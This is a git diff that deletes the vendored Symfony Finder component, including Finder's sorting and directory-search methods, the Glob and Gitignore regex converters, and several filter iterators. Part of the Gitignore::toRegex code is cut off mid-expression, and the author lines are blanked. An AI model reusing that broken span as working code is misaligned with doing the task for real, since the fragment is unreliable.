__FUNCTION__))->getDeclaringClass()->getName() && !$this instanceof \PHPUnit\Framework\MockObject\MockObject && !$this instanceof \Prophecy\Prophecy\ProphecySubjectInterface && !$this instanceof \Mockery\MockInterface) { - @trigger_error(sprintf('The "%s()" method will have a new "bool $useNaturalSort = false" argument in version 5.0, not defining it is deprecated since Symfony 4.2.', __METHOD__), \E_USER_DEPRECATED); - } - $useNaturalSort = 0 < \func_num_args() && func_get_arg(0); - - $this->sort = $useNaturalSort ? Iterator\SortableIterator::SORT_BY_NAME_NATURAL : Iterator\SortableIterator::SORT_BY_NAME; - - return $this; - } - - /** - * Sorts files and directories by type (directories before files), then by name. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @return $this - * - * @see SortableIterator - */ - public function sortByType() - { - $this->sort = Iterator\SortableIterator::SORT_BY_TYPE; - - return $this; - } - - /** - * Sorts files and directories by the last accessed time. - * - * This is the time that the file was last accessed, read or written to. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @return $this - * - * @see SortableIterator - */ - public function sortByAccessedTime() - { - $this->sort = Iterator\SortableIterator::SORT_BY_ACCESSED_TIME; - - return $this; - } - - /** - * Reverses the sorting. - * - * @return $this - */ - public function reverseSorting() - { - $this->reverseSorting = true; - - return $this; - } - - /** - * Sorts files and directories by the last inode changed time. - * - * This is the time that the inode information was last modified (permissions, owner, group or other metadata). - * - * On Windows, since inode is not available, changed time is actually the file creation time. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @return $this - * - * @see SortableIterator - */ - public function sortByChangedTime() - { - $this->sort = Iterator\SortableIterator::SORT_BY_CHANGED_TIME; - - return $this; - } - - /** - * Sorts files and directories by the last modified time. - * - * This is the last time the actual contents of the file were last modified. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @return $this - * - * @see SortableIterator - */ - public function sortByModifiedTime() - { - $this->sort = Iterator\SortableIterator::SORT_BY_MODIFIED_TIME; - - return $this; - } - - /** - * Filters the iterator with an anonymous function. - * - * The anonymous function receives a \SplFileInfo and must return false - * to remove files. - * - * @return $this - * - * @see CustomFilterIterator - */ - public function filter(\Closure $closure) - { - $this->filters[] = $closure; - - return $this; - } - - /** - * Forces the following of symlinks. - * - * @return $this - */ - public function followLinks() - { - $this->followLinks = true; - - return $this; - } - - /** - * Tells finder to ignore unreadable directories. - * - * By default, scanning unreadable directories content throws an AccessDeniedException. - * - * @param bool $ignore - * - * @return $this - */ - public function ignoreUnreadableDirs($ignore = true) - { - $this->ignoreUnreadableDirs = (bool) $ignore; - - return $this; - } - - /** - * Searches files and directories which match defined rules. - * - * @param string|string[] $dirs A directory path or an array of directories - * - * @return $this - * - * @throws DirectoryNotFoundException if one of the directories does not exist - */ - public function in($dirs) - { - $resolvedDirs = []; - - foreach ((array) $dirs as $dir) { - if (is_dir($dir)) { - $resolvedDirs[] = $this->normalizeDir($dir); - } elseif ($glob = glob($dir, (\defined('GLOB_BRACE') ? \GLOB_BRACE : 0) | \GLOB_ONLYDIR | \GLOB_NOSORT)) { - sort($glob); - $resolvedDirs = array_merge($resolvedDirs, array_map([$this, 'normalizeDir'], $glob)); - } else { - throw new DirectoryNotFoundException(sprintf('The "%s" directory does not exist.', $dir)); - } - } - - $this->dirs = array_merge($this->dirs, $resolvedDirs); - - return $this; - } - - /** - * Returns an Iterator for the current Finder configuration. - * - * This method implements the IteratorAggregate interface. - * - * @return \Iterator|SplFileInfo[] An iterator - * - * @throws \LogicException if the in() method has not been called - */ - public function getIterator() - { - if (0 === \count($this->dirs) && 0 === \count($this->iterators)) { - throw new \LogicException('You must call one of in() or append() methods before iterating over a Finder.'); - } - - if (1 === \count($this->dirs) && 0 === \count($this->iterators)) { - return $this->searchInDirectory($this->dirs[0]); - } - - $iterator = new \AppendIterator(); - foreach ($this->dirs as $dir) { - $iterator->append($this->searchInDirectory($dir)); - } - - foreach ($this->iterators as $it) { - $iterator->append($it); - } - - return $iterator; - } - - /** - * Appends an existing set of files/directories to the finder. - * - * The set can be another Finder, an Iterator, an IteratorAggregate, or even a plain array. - * - * @param iterable $iterator - * - * @return $this - * - * @throws \InvalidArgumentException when the given argument is not iterable - */ - public function append($iterator) - { - if ($iterator instanceof \IteratorAggregate) { - $this->iterators[] = $iterator->getIterator(); - } elseif ($iterator instanceof \Iterator) { - $this->iterators[] = $iterator; - } elseif ($iterator instanceof \Traversable || \is_array($iterator)) { - $it = new \ArrayIterator(); - foreach ($iterator as $file) { - $it->append($file instanceof \SplFileInfo ? $file : new \SplFileInfo($file)); - } - $this->iterators[] = $it; - } else { - throw new \InvalidArgumentException('Finder::append() method wrong argument type.'); - } - - return $this; - } - - /** - * Check if the any results were found. - * - * @return bool - */ - public function hasResults() - { - foreach ($this->getIterator() as $_) { - return true; - } - - return false; - } - - /** - * Counts all the results collected by the iterators. - * - * @return int - */ - public function count() - { - return iterator_count($this->getIterator()); - } - - private function searchInDirectory(string $dir): \Iterator - { - $exclude = $this->exclude; - $notPaths = $this->notPaths; - - if (static::IGNORE_VCS_FILES === (static::IGNORE_VCS_FILES & $this->ignore)) { - $exclude = array_merge($exclude, self::$vcsPatterns); - } - - if (static::IGNORE_DOT_FILES === (static::IGNORE_DOT_FILES & $this->ignore)) { - $notPaths[] = '#(^|/)\..+(/|$)#'; - } - - if (static::IGNORE_VCS_IGNORED_FILES === (static::IGNORE_VCS_IGNORED_FILES & $this->ignore)) { - $gitignoreFilePath = sprintf('%s/.gitignore', $dir); - if (!is_readable($gitignoreFilePath)) { - throw new \RuntimeException(sprintf('The "ignoreVCSIgnored" option cannot be used by the Finder as the "%s" file is not readable.', $gitignoreFilePath)); - } - $notPaths = array_merge($notPaths, [Gitignore::toRegex(file_get_contents($gitignoreFilePath))]); - } - - $minDepth = 0; - $maxDepth = \PHP_INT_MAX; - - foreach ($this->depths as $comparator) { - switch ($comparator->getOperator()) { - case '>': - $minDepth = $comparator->getTarget() + 1; - break; - case '>=': - $minDepth = $comparator->getTarget(); - break; - case '<': - $maxDepth = $comparator->getTarget() - 1; - break; - case '<=': - $maxDepth = $comparator->getTarget(); - break; - default: - $minDepth = $maxDepth = $comparator->getTarget(); - } - } - - $flags = \RecursiveDirectoryIterator::SKIP_DOTS; - - if ($this->followLinks) { - $flags |= \RecursiveDirectoryIterator::FOLLOW_SYMLINKS; - } - - $iterator = new Iterator\RecursiveDirectoryIterator($dir, $flags, $this->ignoreUnreadableDirs); - - if ($exclude) { - $iterator = new Iterator\ExcludeDirectoryFilterIterator($iterator, $exclude); - } - - $iterator = new \RecursiveIteratorIterator($iterator, \RecursiveIteratorIterator::SELF_FIRST); - - if ($minDepth > 0 || $maxDepth < \PHP_INT_MAX) { - $iterator = new Iterator\DepthRangeFilterIterator($iterator, $minDepth, $maxDepth); - } - - if ($this->mode) { - $iterator = new Iterator\FileTypeFilterIterator($iterator, $this->mode); - } - - if ($this->names || $this->notNames) { - $iterator = new Iterator\FilenameFilterIterator($iterator, $this->names, $this->notNames); - } - - if ($this->contains || $this->notContains) { - $iterator = new Iterator\FilecontentFilterIterator($iterator, $this->contains, $this->notContains); - } - - if ($this->sizes) { - $iterator = new Iterator\SizeRangeFilterIterator($iterator, $this->sizes); - } - - if ($this->dates) { - $iterator = new Iterator\DateRangeFilterIterator($iterator, $this->dates); - } - - if ($this->filters) { - $iterator = new Iterator\CustomFilterIterator($iterator, $this->filters); - } - - if ($this->paths || $notPaths) { - $iterator = new Iterator\PathFilterIterator($iterator, $this->paths, $notPaths); - } - - if ($this->sort || $this->reverseSorting) { - $iteratorAggregate = new Iterator\SortableIterator($iterator, $this->sort, $this->reverseSorting); - $iterator = $iteratorAggregate->getIterator(); - } - - return $iterator; - } - - /** - * Normalizes given directory names by removing trailing slashes. - * - * Excluding: (s)ftp:// or ssh2.(s)ftp:// wrapper - */ - private function normalizeDir(string $dir): string - { - if ('/' === $dir) { - return $dir; - } - - $dir = rtrim($dir, '/'.\DIRECTORY_SEPARATOR); - - if (preg_match('#^(ssh2\.)?s?ftp://#', $dir)) { - $dir .= '/'; - } - - return $dir; - } -} diff --git a/vendor/symfony/finder/Gitignore.php b/vendor/symfony/finder/Gitignore.php deleted file mode 100644 index dfe0a0a..0000000 --- a/vendor/symfony/finder/Gitignore.php +++ /dev/null @@ -1,133 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder; - -/** - * Gitignore matches against text. - * - * @author Ahmed Abdou - */ -class Gitignore -{ - /** - * Returns a regexp which is the equivalent of the gitignore pattern. - * - * @return string The regexp - */ - public static function toRegex(string $gitignoreFileContent): string - { - $gitignoreFileContent = preg_replace('/^[^\\\r\n]*#.*/m', '', $gitignoreFileContent); - $gitignoreLines = preg_split('/\r\n|\r|\n/', $gitignoreFileContent); - - $positives = []; - $negatives = []; - foreach ($gitignoreLines as $i => $line) { - $line = trim($line); - if ('' === $line) { - continue; - } - - if (1 === preg_match('/^!/', $line)) { - $positives[$i] = null; - $negatives[$i] = self::getRegexFromGitignore(preg_replace('/^!(.*)/', '${1}', $line), true); - - continue; - } - $negatives[$i] = null; - $positives[$i] = self::getRegexFromGitignore($line); - } - - $index = 0; - $patterns = []; - foreach ($positives as $pattern) { - if (null === $pattern) { - continue; - } - - $negativesAfter = array_filter(\array_slice($negatives, ++$index)); - if ([] !== $negativesAfter) { - $pattern .= sprintf('(?'.$regex.'($|\/.*))'; - } -} diff --git a/vendor/symfony/finder/Glob.php b/vendor/symfony/finder/Glob.php deleted file mode 100644 index ea76d51..0000000 --- a/vendor/symfony/finder/Glob.php +++ /dev/null @@ -1,116 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder; - -/** - * Glob matches globbing patterns against text. - * - * if match_glob("foo.*", "foo.bar") echo "matched\n"; - * - * // prints foo.bar and foo.baz - * $regex = glob_to_regex("foo.*"); - * for (['foo.bar', 'foo.baz', 'foo', 'bar'] as $t) - * { - * if (/$regex/) echo "matched: $car\n"; - * } - * - * Glob implements glob(3) style matching that can be used to match - * against text, rather than fetching names from a filesystem. - * - * Based on the Perl Text::Glob module. - * - * @author Fabien Potencier PHP port - * @author Richard Clamp Perl version - * @copyright 2004-2005 Fabien Potencier - * @copyright 2002 Richard Clamp - */ -class Glob -{ - /** - * Returns a regexp which is the equivalent of the glob pattern. - * - * @param string $glob The glob pattern - * @param bool $strictLeadingDot - * @param bool $strictWildcardSlash - * @param string $delimiter Optional delimiter - * - * @return string regex The regexp - */ - public static function toRegex($glob, $strictLeadingDot = true, $strictWildcardSlash = true, $delimiter = '#') - { - $firstByte = true; - $escaping = false; - $inCurlies = 0; - $regex = ''; - $sizeGlob = \strlen($glob); - for ($i = 0; $i < $sizeGlob; ++$i) { - $car = $glob[$i]; - if ($firstByte && $strictLeadingDot && '.' !== $car) { - $regex .= '(?=[^\.])'; - } - - $firstByte = '/' === $car; - - if ($firstByte && $strictWildcardSlash && isset($glob[$i + 2]) && '**' === $glob[$i + 1].$glob[$i + 2] && (!isset($glob[$i + 3]) || '/' === $glob[$i + 3])) { - $car = '[^/]++/'; - if (!isset($glob[$i + 3])) { - $car .= '?'; - } - - if ($strictLeadingDot) { - $car = '(?=[^\.])'.$car; - } - - $car = '/(?:'.$car.')*'; - $i += 2 + isset($glob[$i + 3]); - - if ('/' === $delimiter) { - $car = str_replace('/', '\\/', $car); - } - } - - if ($delimiter === $car || '.' === $car || '(' === $car || ')' === $car || '|' === $car || '+' === $car || '^' === $car || '$' === $car) { - $regex .= "\\$car"; - } elseif ('*' === $car) { - $regex .= $escaping ? '\\*' : ($strictWildcardSlash ? '[^/]*' : '.*'); - } elseif ('?' === $car) { - $regex .= $escaping ? '\\?' : ($strictWildcardSlash ? '[^/]' : '.'); - } elseif ('{' === $car) { - $regex .= $escaping ? '\\{' : '('; - if (!$escaping) { - ++$inCurlies; - } - } elseif ('}' === $car && $inCurlies) { - $regex .= $escaping ? '}' : ')'; - if (!$escaping) { - --$inCurlies; - } - } elseif (',' === $car && $inCurlies) { - $regex .= $escaping ? ',' : '|'; - } elseif ('\\' === $car) { - if ($escaping) { - $regex .= '\\\\'; - $escaping = false; - } else { - $escaping = true; - } - - continue; - } else { - $regex .= $car; - } - $escaping = false; - } - - return $delimiter.'^'.$regex.'$'.$delimiter; - } -} diff --git a/vendor/symfony/finder/Iterator/CustomFilterIterator.php b/vendor/symfony/finder/Iterator/CustomFilterIterator.php deleted file mode 100644 index a30bbd0..0000000 --- a/vendor/symfony/finder/Iterator/CustomFilterIterator.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * CustomFilterIterator filters files by applying anonymous functions. - * - * The anonymous function receives a \SplFileInfo and must return false - * to remove files. - * - * @author Fabien Potencier - */ -class CustomFilterIterator extends \FilterIterator -{ - private $filters = []; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param callable[] $filters An array of PHP callbacks - * - * @throws \InvalidArgumentException - */ - public function __construct(\Iterator $iterator, array $filters) - { - foreach ($filters as $filter) { - if (!\is_callable($filter)) { - throw new \InvalidArgumentException('Invalid PHP callback.'); - } - } - $this->filters = $filters; - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - $fileinfo = $this->current(); - - foreach ($this->filters as $filter) { - if (false === $filter($fileinfo)) { - return false; - } - } - - return true; - } -} diff --git a/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php b/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php deleted file mode 100644 index 2e97e00..0000000 --- a/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -use Symfony\Component\Finder\Comparator\DateComparator; - -/** - * DateRangeFilterIterator filters out files that are not in the given date range (last modified dates). - * - * @author Fabien Potencier - */ -class DateRangeFilterIterator extends \FilterIterator -{ - private $comparators = []; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param DateComparator[] $comparators An array of DateComparator instances - */ - public function __construct(\Iterator $iterator, array $comparators) - { - $this->comparators = $comparators; - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - $fileinfo = $this->current(); - - if (!file_exists($fileinfo->getPathname())) { - return false; - } - - $filedate = $fileinfo->getMTime(); - foreach ($this->comparators as $compare) { - if (!$compare->test($filedate)) { - return false; - } - } - - return true; - } -} diff --git a/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php b/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php deleted file mode 100644 index 18e751d..0000000 --- a/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * DepthRangeFilterIterator limits the directory depth. - * - * @author Fabien Potencier - */ -class DepthRangeFilterIterator extends \FilterIterator -{ - private $minDepth = 0; - - /** - * @param \RecursiveIteratorIterator $iterator The Iterator to filter - * @param int $minDepth The min depth - * @param int $maxDepth The max depth - */ - public function __construct(\RecursiveIteratorIterator $iterator, int $minDepth = 0, int $maxDepth = \PHP_INT_MAX) - { - $this->minDepth = $minDepth; - $iterator->setMaxDepth(\PHP_INT_MAX === $maxDepth ? -1 : $maxDepth); - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - return $this->getInnerIterator()->getDepth() >= $this->minDepth; - } -} diff --git a/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php b/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php deleted file mode 100644 index 6a1b291..0000000 --- a/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php +++ /dev/null @@ -1,87 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * ExcludeDirectoryFilterIterator filters out directories. - * - * @author Fabien Potencier - */ -class ExcludeDirectoryFilterIterator extends \FilterIterator implements \RecursiveIterator -{ - private $iterator; - private $isRecursive; - private $excludedDirs = []; - private $excludedPattern; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param string[] $directories An array of directories to exclude - */ - public function __construct(\Iterator $iterator, array $directories) - { - $this->iterator = $iterator; - $this->isRecursive = $iterator instanceof \RecursiveIterator; - $patterns = []; - foreach ($directories as $directory) { - $directory = rtrim($directory, '/'); - if (!$this->isRecursive || false !== strpos($directory, '/')) { - $patterns[] = preg_quote($directory, '#'); - } else { - $this->excludedDirs[$directory] = true; - } - } - if ($patterns) { - $this->excludedPattern = '#(?:^|/)(?:'.implode('|', $patterns).')(?:/|$)#'; - } - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool True if the value should be kept, false otherwise - */ - public function accept() - { - if ($this->isRecursive && isset($this->excludedDirs[$this->getFilename()]) && $this->isDir()) { - return false; - } - - if ($this->excludedPattern) { - $path = $this->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath(); - $path = str_replace('\\', '/', $path); - - return !preg_match($this->excludedPattern, $path); - } - - return true; - } - - /** - * @return bool - */ - public function hasChildren() - { - return $this->isRecursive && $this->iterator->hasChildren(); - } - - public function getChildren() - { - $children = new self($this->iterator->getChildren(), []); - $children->excludedDirs = $this->excludedDirs; - $children->excludedPattern = $this->excludedPattern; - - return $children; - } -} diff --git a/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php b/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php deleted file mode 100644 index a4c4eec..0000000 --- a/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * FileTypeFilterIterator only keeps files, directories, or both. - * - * @author Fabien Potencier - */ -class FileTypeFilterIterator extends \FilterIterator -{ - const ONLY_FILES = 1; - const ONLY_DIRECTORIES = 2; - - private $mode; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param int $mode The mode (self::ONLY_FILES or self::ONLY_DIRECTORIES) - */ - public function __construct(\Iterator $iterator, int $mode) - { - $this->mode = $mode; - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - $fileinfo = $this->current(); - if (self::ONLY_DIRECTORIES === (self::ONLY_DIRECTORIES & $this->mode) && $fileinfo->isFile()) { - return false; - } elseif (self::ONLY_FILES === (self::ONLY_FILES & $this->mode) && $fileinfo->isDir()) { - return false; - } - - return true; - } -} diff --git a/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php b/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php deleted file mode 100644 index 81594b8..0000000 --- a/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * FilecontentFilterIterator filters files by their contents using patterns (regexps or strings). - * - * @author Fabien Potencier - * @author Włodzimierz Gajda - */ -class FilecontentFilterIterator extends MultiplePcreFilterIterator -{ - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - if (!$this->matchRegexps && !$this->noMatchRegexps) { - return true; - } - - $fileinfo = $this->current(); - - if ($fileinfo->isDir() || !$fileinfo->isReadable()) { - return false; - } - - $content = $fileinfo->getContents(); - if (!$content) { - return false; - } - - return $this->isAccepted($content); - } - - /** - * Converts string to regexp if necessary. - * - * @param string $str Pattern: string or regexp - * - * @return string regexp corresponding to a given string or regexp - */ - protected function toRegex($str) - { - return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; - } -} diff --git a/vendor/symfony/finder/Iterator/FilenameFilterIterator.php b/vendor/symfony/finder/Iterator/FilenameFilterIterator.php deleted file mode 100644 index e168cd8..0000000 --- a/vendor/symfony/finder/Iterator/FilenameFilterIterator.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -use Symfony\Component\Finder\Glob; - -/** - * FilenameFilterIterator filters files by patterns (a regexp, a glob, or a string). - * - * @author Fabien Potencier - */ -class FilenameFilterIterator extends MultiplePcreFilterIterator -{ - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - return $this->isAccepted($this->current()->getFilename()); - } - - /** - * Converts glob to regexp. - * - * PCRE patterns are left unchanged. - * Glob strings are transformed with Glob::toRegex(). - * - * @param string $str Pattern: glob or regexp - * - * @return string regexp corresponding to a given glob or regexp - */ - protected function toRegex($str) - { - return $this->isRegex($str) ? $str : Glob::toRegex($str); - } -} diff --git a/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php b/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php deleted file mode 100644 index 18b082e..0000000 --- a/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php +++ /dev/null @@ -1,112 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * MultiplePcreFilterIterator filters files using patterns (regexps, globs or strings). - * - * @author Fabien Potencier - */ -abstract class MultiplePcreFilterIterator extends \FilterIterator -{ - protected $matchRegexps = []; - protected $noMatchRegexps = []; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param array $matchPatterns An array of patterns that need to match - * @param array $noMatchPatterns An array of patterns that need to not match - */ - public function __construct(\Iterator $iterator, array $matchPatterns, array $noMatchPatterns) - { - foreach ($matchPatterns as $pattern) { - $this->matchRegexps[] = $this->toRegex($pattern); - } - - foreach ($noMatchPatterns as $pattern) { - $this->noMatchRegexps[] = $this->toRegex($pattern); - } - - parent::__construct($iterator); - } - - /** - * Checks whether the string is accepted by the regex filters. - * - * If there is no regexps defined in the class, this method will accept the string. - * Such case can be handled by child classes before calling the method if they want to - * apply a different behavior. - * - * @param string $string The string to be matched against filters - * - * @return bool - */ - protected function isAccepted($string) - { - // should at least not match one rule to exclude - foreach ($this->noMatchRegexps as $regex) { - if (preg_match($regex, $string)) { - return false; - } - } - - // should at least match one rule - if ($this->matchRegexps) { - foreach ($this->matchRegexps as $regex) { - if (preg_match($regex, $string)) { - return true; - } - } - - return false; - } - - // If there is no match rules, the file is accepted - return true; - } - - /** - * Checks whether the string is a regex. - * - * @param string $str - * - * @return bool Whether the given string is a regex - */ - protected function isRegex($str) - { - if (preg_match('/^(.{3,}?)[imsxuADU]*$/', $str, $m)) { - $start = substr($m[1], 0, 1); - $end = substr($m[1], -1); - - if ($start === $end) { - return !preg_match('/[*?[:alnum:] \\\\]/', $start); - } - - foreach ([['{', '}'], ['(', ')'], ['[', ']'], ['<', '>']] as $delimiters) { - if ($start === $delimiters[0] && $end === $delimiters[1]) { - return true; - } - } - } - - return false; - } - - /** - * Converts string into regexp. - * - * @param string $str Pattern - * - * @return string regexp corresponding to a given string - */ - abstract protected function toRegex($str); -} diff --git a/vendor/symfony/finder/Iterator/PathFilterIterator.php b/vendor/symfony/finder/Iterator/PathFilterIterator.php deleted file mode 100644 index 3fda557..0000000 --- a/vendor/symfony/finder/Iterator/PathFilterIterator.php +++ /dev/null @@ -1,56 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * PathFilterIterator filters files by path patterns (e.g. some/special/dir). - * - * @author Fabien Potencier - * @author Włodzimierz Gajda - */ -class PathFilterIterator extends MultiplePcreFilterIterator -{ - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - $filename = $this->current()->getRelativePathname(); - - if ('\\' === \DIRECTORY_SEPARATOR) { - $filename = str_replace('\\', '/', $filename); - } - - return $this->isAccepted($filename); - } - - /** - * Converts strings to regexp. - * - * PCRE patterns are left unchanged. - * - * Default conversion: - * 'lorem/ipsum/dolor' ==> 'lorem\/ipsum\/dolor/' - * - * Use only / as directory separator (on Windows also). - * - * @param string $str Pattern: regexp or dirname - * - * @return string regexp corresponding to a given string or regexp - */ - protected function toRegex($str) - { - return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; - } -} diff --git a/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php b/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php deleted file mode 100644 index 7616b14..0000000 --- a/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php +++ /dev/null @@ -1,144 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -use Symfony\Component\Finder\Exception\AccessDeniedException; -use Symfony\Component\Finder\SplFileInfo; - -/** - * Extends the \RecursiveDirectoryIterator to support relative paths. - * - * @author Victor Berchet - */ -class RecursiveDirectoryIterator extends \RecursiveDirectoryIterator -{ - /** - * @var bool - */ - private $ignoreUnreadableDirs; - - /** - * @var bool - */ - private $rewindable; - - // these 3 properties take part of the performance optimization to avoid redoing the same work in all iterations - private $rootPath; - private $subPath; - private $directorySeparator = '/'; - - /** - * @throws \RuntimeException - */ - public function __construct(string $path, int $flags, bool $ignoreUnreadableDirs = false) - { - if ($flags & (self::CURRENT_AS_PATHNAME | self::CURRENT_AS_SELF)) { - throw new \RuntimeException('This iterator only support returning current as fileinfo.'); - } - - parent::__construct($path, $flags); - $this->ignoreUnreadableDirs = $ignoreUnreadableDirs; - $this->rootPath = $path; - if ('/' !== \DIRECTORY_SEPARATOR && !($flags & self::UNIX_PATHS)) { - $this->directorySeparator = \DIRECTORY_SEPARATOR; - } - } - - /** - * Return an instance of SplFileInfo with support for relative paths. - * - * @return SplFileInfo File information - */ - public function current() - { - // the logic here avoids redoing the same work in all iterations - - if (null === $subPathname = $this->subPath) { - $subPathname = $this->subPath = (string) $this->getSubPath(); - } - if ('' !== $subPathname) { - $subPathname .= $this->directorySeparator; - } - $subPathname .= $this->getFilename(); - - if ('/' !== $basePath = $this->rootPath) { - $basePath .= $this->directorySeparator; - } - - return new SplFileInfo($basePath.$subPathname, $this->subPath, $subPathname); - } - - /** - * @return \RecursiveIterator - * - * @throws AccessDeniedException - */ - public function getChildren() - { - try { - $children = parent::getChildren(); - - if ($children instanceof self) { - // parent method will call the constructor with default arguments, so unreadable dirs won't be ignored anymore - $children->ignoreUnreadableDirs = $this->ignoreUnreadableDirs; - - // performance optimization to avoid redoing the same work in all children - $children->rewindable = &$this->rewindable; - $children->rootPath = $this->rootPath; - } - - return $children; - } catch (\UnexpectedValueException $e) { - if ($this->ignoreUnreadableDirs) { - // If directory is unreadable and finder is set to ignore it, a fake empty content is returned. - return new \RecursiveArrayIterator([]); - } else { - throw new AccessDeniedException($e->getMessage(), $e->getCode(), $e); - } - } - } - - /** - * Do nothing for non rewindable stream. - */ - public function rewind() - { - if (false === $this->isRewindable()) { - return; - } - - parent::rewind(); - } - - /** - * Checks if the stream is rewindable. - * - * @return bool true when the stream is rewindable, false otherwise - */ - public function isRewindable() - { - if (null !== $this->rewindable) { - return $this->rewindable; - } - - if (false !== $stream = @opendir($this->getPath())) { - $infos = stream_get_meta_data($stream); - closedir($stream); - - if ($infos['seekable']) { - return $this->rewindable = true; - } - } - - return $this->rewindable = false; - } -} diff --git a/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php b/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php deleted file mode 100644 index 2aeef67..0000000 --- a/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -use Symfony\Component\Finder\Comparator\NumberComparator; - -/** - * SizeRangeFilterIterator filters out files that are not in the given size range. - * - * @author Fabien Potencier - */ -class SizeRangeFilterIterator extends \FilterIterator -{ - private $comparators = []; - - /** - * @param \Iterator $iterator The Iterator to filter - * @param NumberComparator[] $comparators An array of NumberComparator instances - */ - public function __construct(\Iterator $iterator, array $comparators) - { - $this->comparators = $comparators; - - parent::__construct($iterator); - } - - /** - * Filters the iterator values. - * - * @return bool true if the value should be kept, false otherwise - */ - public function accept() - { - $fileinfo = $this->current(); - if (!$fileinfo->isFile()) { - return true; - } - - $filesize = $fileinfo->getSize(); - foreach ($this->comparators as $compare) { - if (!$compare->test($filesize)) { - return false; - } - } - - return true; - } -} diff --git a/vendor/symfony/finder/Iterator/SortableIterator.php b/vendor/symfony/finder/Iterator/SortableIterator.php deleted file mode 100644 index 8f0090c..0000000 --- a/vendor/symfony/finder/Iterator/SortableIterator.php +++ /dev/null @@ -1,101 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Iterator; - -/** - * SortableIterator applies a sort on a given Iterator. - * - * @author Fabien Potencier - */ -class SortableIterator implements \IteratorAggregate -{ - const SORT_BY_NONE = 0; - const SORT_BY_NAME = 1; - const SORT_BY_TYPE = 2; - const SORT_BY_ACCESSED_TIME = 3; - const SORT_BY_CHANGED_TIME = 4; - const 